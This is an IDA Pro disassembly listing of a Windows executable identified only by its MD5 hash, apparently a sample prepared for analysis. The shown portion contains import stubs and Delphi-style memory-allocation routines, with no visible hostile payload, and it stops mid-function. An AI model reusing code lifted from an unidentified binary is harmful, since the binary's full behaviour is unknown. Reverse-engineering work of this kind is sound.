;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	4580D3E452AD64D117E11DB86ED94E54

; File Name   :	u:\work\4580d3e452ad64d117e11db86ed94e54_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	10000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004244 (  16964.)
; Section size in file		: 00004400 (  17408.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 11000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION RaiseException. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION UnhandledExceptionFilter.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CharNextA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetStartupInfoA. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetThreadLocale. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RegQueryValueExA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetVersion. PRESS	KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11098	proc near		; CODE XREF: sub_138CC+71p

var_1C		= byte ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp		; lpStartupInfo
		call	GetStartupInfoA	; GetStartupInfoA
		test	[esp+48h+var_1C], 1
		jz	short loc_110B3
		movzx	ebx, [esp+48h+var_18]


loc_110B3:				; CODE XREF: sub_11098+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_11098	endp

; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LocalFree. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION VirtualAlloc. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION VirtualFree. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION InitializeCriticalSection. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION EnterCriticalSection. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LeaveCriticalSection. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION DeleteCriticalSection. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_110FC	proc near		; CODE XREF: sub_11188+9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF4h
		mov	ebx, offset dword_175D0
		cmp	dword ptr [ebx], 0
		jnz	short loc_11163
		push	644h		; uBytes
		push	0		; uFlags
		call	LocalAlloc	; LocalAlloc
		mov	[esp+10h+var_8], eax
		cmp	[esp+10h+var_8], 0
		jnz	short loc_11128
		xor	eax, eax
		mov	[esp+10h+var_10], eax
		jmp	short loc_11178
; ---------------------------------------------------------------------------


loc_11128:				; CODE XREF: sub_110FC+23j
		mov	eax, [esp+10h+var_8]
		mov	edx, ds:dword_175CC
		mov	[eax], edx
		mov	eax, [esp+10h+var_8]
		mov	ds:dword_175CC,	eax
		xor	eax, eax


loc_1113F:				; CODE XREF: sub_110FC+65j
		mov	edx, eax
		add	edx, edx
		mov	ecx, [esp+10h+var_8]
		lea	edx, [ecx+edx*8+4]
		mov	[esp+10h+var_C], edx
		mov	edx, [esp+10h+var_C]
		mov	ecx, [ebx]
		mov	[edx], ecx
		mov	edx, [esp+10h+var_C]
		mov	[ebx], edx
		inc	eax
		cmp	eax, 64h
		jnz	short loc_1113F


loc_11163:				; CODE XREF: sub_110FC+Cj
		mov	eax, [ebx]
		mov	[esp+10h+var_C], eax
		mov	eax, [esp+10h+var_C]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [esp+10h+var_C]
		mov	[esp+10h+var_10], eax


loc_11178:				; CODE XREF: sub_110FC+2Aj
		mov	eax, [esp+10h+var_10]
		add	esp, 0Ch
		pop	ebx
		retn
sub_110FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_11180	proc near		; CODE XREF: sub_11904+34p
					; sub_11904+3Ep ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_11180	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11188	proc near		; CODE XREF: sub_11218+71p
					; sub_112A0+96p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		call	sub_110FC
		mov	[esp+10h+var_C], eax
		cmp	[esp+10h+var_C], 0
		jnz	short loc_111A5
		xor	eax, eax
		jmp	short loc_111DF
; ---------------------------------------------------------------------------


loc_111A5:				; CODE XREF: sub_11188+17j
		mov	eax, [esi]
		mov	edx, [esp+10h+var_C]
		mov	[edx+8], eax
		mov	eax, [esi+4]
		mov	edx, [esp+10h+var_C]
		mov	[edx+0Ch], eax
		mov	eax, [ebx]
		mov	[esp+10h+var_10], eax
		mov	eax, [esp+10h+var_C]
		mov	edx, [esp+10h+var_10]
		mov	[eax], edx
		mov	eax, [esp+10h+var_C]
		mov	[eax+4], ebx
		mov	eax, [esp+10h+var_10]
		mov	edx, [esp+10h+var_C]
		mov	[eax+4], edx
		mov	eax, [esp+10h+var_C]
		mov	[ebx], eax
		mov	al, 1


loc_111DF:				; CODE XREF: sub_11188+1Bj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_11188	endp


; =============== S U B	R O U T	I N E =======================================



sub_111E4	proc near		; CODE XREF: sub_11218+37p
					; sub_11218+56p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		add	esp, 0FFFFFFF8h
		mov	edx, [eax+4]
		mov	[esp+8+var_8], edx
		mov	edx, [eax]
		mov	[esp+8+var_4], edx
		mov	edx, [esp+8+var_8]
		mov	ecx, [esp+8+var_4]
		mov	[edx], ecx
		mov	edx, [esp+8+var_4]
		mov	ecx, [esp+8+var_8]
		mov	[edx+4], ecx
		mov	edx, ds:dword_175D0
		mov	[eax], edx
		mov	ds:dword_175D0,	eax
		pop	ecx
		pop	edx
		retn
sub_111E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11218	proc near		; CODE XREF: sub_11684+80p
					; sub_1172C+78p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, ecx
		mov	esi, eax
		mov	edi, esp
		mov	eax, [esi]
		mov	[edi], eax
		mov	eax, [edx]
		mov	[ebx], eax
		mov	eax, [edx+4]
		mov	[ebx+4], eax


loc_11233:				; CODE XREF: sub_11218+6Bj
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[esp+18h+var_14], eax
		mov	edx, [edi]
		mov	edx, [edx+8]
		mov	ecx, edx
		mov	ebp, [edi]
		add	ecx, [ebp+0Ch]
		mov	eax, [ebx]
		cmp	ecx, eax
		jnz	short loc_11265
		mov	eax, [edi]
		call	sub_111E4
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[ebx], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax
		jmp	short loc_1127B
; ---------------------------------------------------------------------------


loc_11265:				; CODE XREF: sub_11218+33j
		add	eax, [ebx+4]
		cmp	edx, eax
		jnz	short loc_1127B
		mov	eax, [edi]
		call	sub_111E4
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax


loc_1127B:				; CODE XREF: sub_11218+4Bj
					; sub_11218+52j
		mov	eax, [esp+18h+var_14]
		mov	[edi], eax
		cmp	esi, [edi]
		jnz	short loc_11233
		mov	edx, ebx
		mov	eax, esi
		call	sub_11188
		test	al, al
		jnz	short loc_11296
		xor	eax, eax
		mov	[ebx], eax


loc_11296:				; CODE XREF: sub_11218+78j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11218	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_112A0	proc near		; CODE XREF: sub_11870+82p
					; sub_11CF4+ABp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF0h
		mov	[esp+20h+var_20], eax
		mov	esi, esp
		mov	eax, [esi]
		mov	[esp+20h+var_14], eax


loc_112B2:				; CODE XREF: sub_112A0+B3j
		mov	ecx, [edx]
		mov	eax, [esi]
		mov	eax, [eax+8]
		cmp	ecx, eax
		jb	loc_11347
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jb	short loc_11347
		cmp	ecx, eax
		jnz	short loc_112F6
		mov	eax, [edx+4]
		mov	ecx, [esi]
		add	[ecx+8], eax
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_11343
		mov	eax, [esi]
		call	sub_111E4
		jmp	short loc_11343
; ---------------------------------------------------------------------------


loc_112F6:				; CODE XREF: sub_112A0+33j
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jnz	short loc_11310
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		jmp	short loc_11343
; ---------------------------------------------------------------------------


loc_11310:				; CODE XREF: sub_112A0+64j
		mov	ebx, [edx]
		add	ebx, [edx+4]
		mov	[esp+20h+var_1C], ebx
		mov	edi, [esi]
		mov	edi, [edi+8]
		mov	ebp, [esi]
		add	edi, [ebp+0Ch]
		sub	edi, ebx
		mov	[esp+20h+var_18], edi
		sub	ecx, eax
		mov	eax, [esi]
		mov	[eax+0Ch], ecx
		lea	edx, [esp+20h+var_1C]
		mov	eax, [esi]
		call	sub_11188
		test	al, al
		jnz	short loc_11343
		xor	eax, eax
		jmp	short loc_1135B
; ---------------------------------------------------------------------------


loc_11343:				; CODE XREF: sub_112A0+4Bj
					; sub_112A0+54j ...
		mov	al, 1
		jmp	short loc_1135B
; ---------------------------------------------------------------------------


loc_11347:				; CODE XREF: sub_112A0+1Bj
					; sub_112A0+2Fj
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax
		mov	eax, [esi]
		cmp	eax, [esp+20h+var_14]
		jnz	loc_112B2
		xor	eax, eax


loc_1135B:				; CODE XREF: sub_112A0+A1j
					; sub_112A0+A5j
		add	esp, 10h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_112A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11364	proc near		; CODE XREF: sub_11684+6Ep
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_1137A
		mov	esi, 100000h
		jmp	short loc_11386
; ---------------------------------------------------------------------------


loc_1137A:				; CODE XREF: sub_11364+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h


loc_11386:				; CODE XREF: sub_11364+14j
		mov	[ebx+4], esi
		push	1		; flProtect
		push	2000h		; flAllocationType
		push	esi		; dwSize
		push	0		; lpAddress
		call	VirtualAlloc	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_113C3
		mov	edx, ebx
		mov	eax, offset dword_175D4
		call	sub_11188
		test	al, al
		jnz	short loc_113C3
		push	8000h		; dwFreeType
		push	0		; dwSize
		mov	eax, [ebx]
		push	eax		; lpAddress
		call	VirtualFree	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_113C3:				; CODE XREF: sub_11364+3Aj
					; sub_11364+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11364	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_113C8	proc near		; CODE XREF: sub_1172C+62p
					; sub_1172C+A9p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4		; flProtect
		push	2000h		; flAllocationType
		push	100000h		; dwSize
		push	ebp		; lpAddress
		call	VirtualAlloc	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_11412
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4		; flProtect
		push	2000h		; flAllocationType
		push	esi		; dwSize
		push	ebp		; lpAddress
		call	VirtualAlloc	; VirtualAlloc
		mov	[ebx], eax


loc_11412:				; CODE XREF: sub_113C8+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_1143A
		mov	edx, ebx
		mov	eax, offset dword_175D4
		call	sub_11188
		test	al, al
		jnz	short loc_1143A
		push	8000h		; dwFreeType
		push	0		; dwSize
		mov	eax, [ebx]
		push	eax		; lpAddress
		call	VirtualFree	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_1143A:				; CODE XREF: sub_113C8+4Dj
					; sub_113C8+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_113C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_11440	proc near		; CODE XREF: sub_11684+95p
					; sub_1172C+90p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	edi, ecx
		mov	esi, esp
		mov	[esp+28h+var_20], 0FFFFFFFFh
		xor	ecx, ecx
		mov	[esp+28h+var_1C], ecx
		mov	[esp+28h+var_18], eax
		add	edx, [esp+28h+var_18]
		mov	[esp+28h+var_14], edx
		mov	eax, ds:dword_175D4
		mov	[esi], eax
		jmp	short loc_114D9
; ---------------------------------------------------------------------------


loc_1146E:				; CODE XREF: sub_11440+A0j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esp+28h+var_24], eax
		mov	eax, [esi]
		mov	ebx, [eax+8]
		cmp	ebx, [esp+28h+var_18]
		jb	short loc_114D3
		mov	eax, ebx
		mov	edx, [esi]
		add	eax, [edx+0Ch]
		cmp	eax, [esp+28h+var_14]
		ja	short loc_114D3
		cmp	ebx, [esp+28h+var_20]
		jnb	short loc_11498
		mov	[esp+28h+var_20], ebx


loc_11498:				; CODE XREF: sub_11440+52j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		mov	eax, [esi]
		add	ebp, [eax+0Ch]
		cmp	ebp, [esp+28h+var_1C]
		jbe	short loc_114AC
		mov	[esp+28h+var_1C], ebp


loc_114AC:				; CODE XREF: sub_11440+66j
		push	8000h		; dwFreeType
		push	0		; dwSize
		mov	eax, [esi]
		mov	eax, [eax+8]
		push	eax		; lpAddress
		call	VirtualFree	; VirtualFree
		test	eax, eax
		jnz	short loc_114CC
		mov	ds:dword_175B0,	1


loc_114CC:				; CODE XREF: sub_11440+80j
		mov	eax, [esi]
		call	sub_111E4


loc_114D3:				; CODE XREF: sub_11440+3Fj
					; sub_11440+4Cj
		mov	eax, [esp+28h+var_24]
		mov	[esi], eax


loc_114D9:				; CODE XREF: sub_11440+2Cj
		mov	eax, offset dword_175D4
		cmp	eax, [esi]
		jnz	short loc_1146E
		xor	eax, eax
		mov	[edi], eax
		cmp	[esp+28h+var_1C], 0
		jz	short loc_114FE
		mov	eax, [esp+28h+var_20]
		mov	[edi], eax
		mov	eax, [esp+28h+var_1C]
		sub	eax, [esp+28h+var_20]
		mov	[edi+4], eax


loc_114FE:				; CODE XREF: sub_11440+ABj
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11440	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=18h


sub_11508	proc near		; CODE XREF: sub_11684+35p
					; sub_1172C+100p

var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	ebx, ecx
		mov	[esp+24h+var_3C], edx
		lea	esi, [esp+24h+var_34]
		lea	edi, [esp+24h+var_38]
		lea	ebp, [esp+0Ch]
		mov	edx, eax
		mov	ecx, edx
		and	ecx, 0FFFFF000h
		mov	[esp+24h+var_2C], ecx
		add	edx, [esp+24h+var_3C]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+24h+var_28], edx
		mov	eax, [esp+24h+var_2C]
		mov	[ebx], eax
		mov	eax, [esp+24h+var_28]
		sub	eax, [esp+24h+var_2C]
		mov	[ebx+4], eax
		mov	eax, ds:dword_175D4
		mov	[edi], eax
		jmp	short loc_115B6
; ---------------------------------------------------------------------------


loc_1155B:				; CODE XREF: sub_11508+B5j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebp+18h+var_18], eax
		mov	eax, [esi]
		cmp	eax, [esp+24h+var_2C]
		jnb	short loc_1157A
		mov	eax, [esp+24h+var_2C]
		mov	[esi], eax


loc_1157A:				; CODE XREF: sub_11508+6Aj
		mov	eax, [ebp+18h+var_18]
		cmp	eax, [esp+24h+var_28]
		jbe	short loc_1158A
		mov	eax, [esp+24h+var_28]
		mov	[ebp+18h+var_18], eax


loc_1158A:				; CODE XREF: sub_11508+79j
		mov	eax, [esi]
		cmp	eax, [ebp+18h+var_18]
		jnb	short loc_115B0
		push	4		; flProtect
		push	1000h		; flAllocationType
		mov	eax, [ebp+18h+var_18]
		sub	eax, [esi]
		push	eax		; dwSize
		mov	eax, [esi]
		push	eax		; lpAddress
		call	VirtualAlloc	; VirtualAlloc
		test	eax, eax
		jnz	short loc_115B0
		xor	eax, eax
		mov	[ebx], eax
		jmp	short loc_115BF
; ---------------------------------------------------------------------------


loc_115B0:				; CODE XREF: sub_11508+87j
					; sub_11508+A0j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_115B6:				; CODE XREF: sub_11508+51j
		mov	eax, offset dword_175D4
		cmp	eax, [edi]
		jnz	short loc_1155B


loc_115BF:				; CODE XREF: sub_11508+A6j
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11508	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_115C8	proc near		; CODE XREF: sub_11870+36p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], edx
		lea	esi, [esp+28h+var_20]
		lea	edi, [esp+28h+var_24]
		lea	ebx, [esp+28h+var_1C]
		mov	edx, eax
		mov	ebp, edx
		add	ebp, 0FFFh
		and	ebp, 0FFFFF000h
		mov	[esp+28h+var_18], ebp
		add	edx, [esp+28h+var_28]
		and	edx, 0FFFFF000h
		mov	[esp+28h+var_14], edx
		mov	eax, [esp+28h+var_18]
		mov	[ecx], eax
		mov	eax, [esp+28h+var_14]
		sub	eax, [esp+28h+var_18]
		mov	[ecx+4], eax
		mov	eax, ds:dword_175D4
		mov	[edi], eax
		jmp	short loc_11671
; ---------------------------------------------------------------------------


loc_11619:				; CODE XREF: sub_115C8+B0j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebx], eax
		mov	eax, [esi]
		cmp	eax, [esp+28h+var_18]
		jnb	short loc_11637
		mov	eax, [esp+28h+var_18]
		mov	[esi], eax


loc_11637:				; CODE XREF: sub_115C8+67j
		mov	eax, [ebx]
		cmp	eax, [esp+28h+var_14]
		jbe	short loc_11645
		mov	eax, [esp+28h+var_14]
		mov	[ebx], eax


loc_11645:				; CODE XREF: sub_115C8+75j
		mov	eax, [esi]
		cmp	eax, [ebx]
		jnb	short loc_1166B
		push	4000h		; dwFreeType
		mov	eax, [ebx]
		sub	eax, [esi]
		push	eax		; dwSize
		mov	eax, [esi]
		push	eax		; lpAddress
		call	VirtualFree	; VirtualFree
		test	eax, eax
		jnz	short loc_1166B
		mov	ds:dword_175B0,	2


loc_1166B:				; CODE XREF: sub_115C8+81j
					; sub_115C8+97j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_11671:				; CODE XREF: sub_115C8+4Fj
		mov	eax, offset dword_175D4
		cmp	eax, [edi]
		jnz	short loc_11619
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_115C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11684	proc near		; CODE XREF: sub_11F80+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		mov	esi, eax
		mov	edi, esp
		mov	ebp, offset dword_175E4
		add	esi, 3FFFh
		and	esi, 0FFFFC000h


loc_116A2:				; CODE XREF: sub_11684+8Aj
		mov	eax, [ebp+0]
		mov	[edi], eax
		jmp	short loc_116EA
; ---------------------------------------------------------------------------


loc_116A9:				; CODE XREF: sub_11684+68j
		mov	eax, [edi]
		cmp	esi, [eax+0Ch]
		jg	short loc_116E4
		mov	ecx, ebx
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	edx, esi
		call	sub_11508
		cmp	dword ptr [ebx], 0
		jz	short loc_11722
		mov	eax, [ebx+4]
		mov	edx, [edi]
		add	[edx+8], eax
		mov	eax, [ebx+4]
		mov	edx, [edi]
		sub	[edx+0Ch], eax
		mov	eax, [edi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_11722
		mov	eax, [edi]
		call	sub_111E4
		jmp	short loc_11722
; ---------------------------------------------------------------------------


loc_116E4:				; CODE XREF: sub_11684+2Aj
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_116EA:				; CODE XREF: sub_11684+23j
		cmp	ebp, [edi]
		jnz	short loc_116A9
		mov	edx, ebx
		mov	eax, esi
		call	sub_11364
		cmp	dword ptr [ebx], 0
		jz	short loc_11722
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, ebx
		mov	eax, ebp
		call	sub_11218
		cmp	[esp+1Ch+var_18], 0
		jnz	short loc_116A2
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, [ebx+4]
		mov	eax, [ebx]
		call	sub_11440
		xor	eax, eax
		mov	[ebx], eax


loc_11722:				; CODE XREF: sub_11684+3Dj
					; sub_11684+55j ...
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11684	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1172C	proc near		; CODE XREF: sub_11FAC+10p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], ecx
		mov	edi, edx
		mov	ebx, eax
		lea	esi, [esp+28h+var_24]
		mov	ebp, offset dword_175E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_1174F:				; CODE XREF: sub_1172C+82j
					; sub_1172C+C9j
		mov	eax, [ebp+0]
		mov	[esi], eax
		jmp	short loc_1175C
; ---------------------------------------------------------------------------


loc_11756:				; CODE XREF: sub_1172C+39j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax


loc_1175C:				; CODE XREF: sub_1172C+28j
		cmp	ebp, [esi]
		jz	short loc_11767
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_11756


loc_11767:				; CODE XREF: sub_1172C+32j
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_117CD
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jle	loc_11815
		mov	eax, [esi]
		mov	edx, edi
		sub	edx, [eax+0Ch]
		mov	eax, [esi]
		mov	eax, [eax+8]
		mov	ecx, [esi]
		add	eax, [ecx+0Ch]
		lea	ecx, [esp+28h+var_20]
		call	sub_113C8
		cmp	[esp+28h+var_20], 0
		jz	short loc_117CD
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_11218
		cmp	[esp+28h+var_18], 0
		jnz	short loc_1174F
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_11440
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_11867
; ---------------------------------------------------------------------------


loc_117CD:				; CODE XREF: sub_1172C+40j
					; sub_1172C+6Cj
		lea	ecx, [esp+28h+var_20]
		mov	edx, edi
		mov	eax, ebx
		call	sub_113C8
		cmp	[esp+28h+var_20], 0
		jz	short loc_11815
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_11218
		cmp	[esp+28h+var_18], 0
		jnz	loc_1174F
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_11440
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_11867
; ---------------------------------------------------------------------------


loc_11815:				; CODE XREF: sub_1172C+47j
					; sub_1172C+B3j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		cmp	ebx, ebp
		jnz	short loc_11860
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jg	short loc_11860
		mov	ecx, [esp+28h+var_28]
		mov	eax, ebp
		mov	edx, edi
		call	sub_11508
		mov	eax, [esp+28h+var_28]
		cmp	dword ptr [eax], 0
		jz	short loc_11867
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		add	[edx+8], eax
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_11867
		mov	eax, [esi]
		call	sub_111E4
		jmp	short loc_11867
; ---------------------------------------------------------------------------


